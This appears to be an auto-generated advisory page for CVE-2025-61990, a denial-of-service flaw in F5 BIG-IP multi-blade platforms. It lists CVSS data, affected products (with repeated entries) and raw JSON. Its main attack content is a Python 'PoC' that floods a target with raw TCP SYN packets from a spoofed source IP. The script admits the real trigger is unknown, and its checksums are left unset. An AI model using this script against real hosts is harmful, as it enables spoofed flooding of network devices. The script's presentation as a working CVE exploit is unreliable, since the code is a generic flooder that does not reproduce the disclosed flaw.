Security Vulnerability Report
中文
CVE-2025-61990 CVSS 7.5 HIGH

CVE-2025-61990

Published: 2025-10-15 16:15:36
Last Modified: 2025-10-21 12:12:25

Description

When using a multi-bladed platform with more than one blade, undisclosed traffic can cause the Traffic Management Microkernel (TMM) to terminate.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_advanced_web_application_firewall:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_analytics:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_application_acceleration_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_advanced_web_application_firewall:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_analytics:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_application_acceleration_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_advanced_web_application_firewall:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_next_cloud-native_network_functions:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_next_cloud-native_network_functions:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_next_for_kubernetes:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_next_service_proxy_for_kubernetes:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_next_service_proxy_for_kubernetes:*:*:*:*:*:*:*:* - VULNERABLE
F5 BIG-IP 14.x(具体受影响的子版本请参考F5官方公告K000156912)
F5 BIG-IP 15.x(具体受影响的子版本请参考F5官方公告K000156912)
F5 BIG-IP 16.x(具体受影响的子版本请参考F5官方公告K000156912)
F5 BIG-IP 17.x(具体受影响的子版本请参考F5官方公告K000156912)
F5 BIG-IP多刀片硬件平台(VIPRION系列)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-61990 - F5 BIG-IP TMM DoS PoC (Conceptual) # Vulnerability: TMM termination on multi-bladed platforms via undisclosed traffic # CVSS: 7.5 (HIGH) | AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H # Affected: F5 BIG-IP multi-bladed hardware platforms (VIPRION series) # # Note: This is a conceptual PoC. The exact triggering traffic pattern # has not been publicly disclosed by F5. Researchers need to perform # fuzzing or reverse engineering to identify the specific packet # characteristics that trigger TMM termination. import socket import struct import random import time TARGET_HOST = "192.168.1.100" # F5 BIG-IP VIPRION management/data IP TARGET_PORT = 443 # Target service port (e.g., HTTPS virtual server) PACKET_COUNT = 1000 # Number of crafted packets to send DELAY = 0.01 # Delay between packets (seconds) def craft_malicious_packet(): """ Craft a network packet designed to trigger TMM abnormal termination. The exact triggering pattern is undisclosed; this demonstrates a generic approach using malformed/edge-case traffic patterns. """ # TCP SYN with unusual options or fragment patterns # may trigger edge-case handling in TMM src_port = random.randint(1024, 65535) seq_num = random.randint(0, 4294967295) ack_num = 0 # TCP header with crafted flags/options data_offset = 5 # 20 bytes header flags = 0x02 # SYN flag window = 65535 tcp_header = struct.pack('!HHIIBBHHH', src_port, TARGET_PORT, seq_num, ack_num, (data_offset << 4), flags, window, 0, 0) # IP header ip_header = struct.pack('!BBHHHBBH4s4s', 0x45, 0, # Version/IHL, TOS 40 + len(tcp_header), # Total length random.randint(0, 65535), # ID 0x4000, # Flags (Don't Fragment) 64, # TTL 6, # Protocol (TCP) 0, # Checksum (calculated by OS) socket.inet_aton('10.0.0.1'), # Source IP (spoofed) socket.inet_aton(TARGET_HOST) # Destination IP ) return ip_header + tcp_header def send_exploit_traffic(): """ Send crafted traffic to trigger TMM termination on multi-bladed platform. """ print(f"[*] Targeting F5 BIG-IP at {TARGET_HOST}:{TARGET_PORT}") print(f"[*] Sending {PACKET_COUNT} crafted packets...") sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) for i in range(PACKET_COUNT): try: packet = craft_malicious_packet() sock.sendto(packet, (TARGET_HOST, 0)) if i % 100 == 0: print(f"[+] Sent {i}/{PACKET_COUNT} packets") time.sleep(DELAY) except Exception as e: print(f"[-] Error sending packet {i}: {e}") print("[*] Exploit traffic sent. Check target TMM status.") sock.close() if __name__ == "__main__": send_exploit_traffic()

References

Raw JSON Data

JSON
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"vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", 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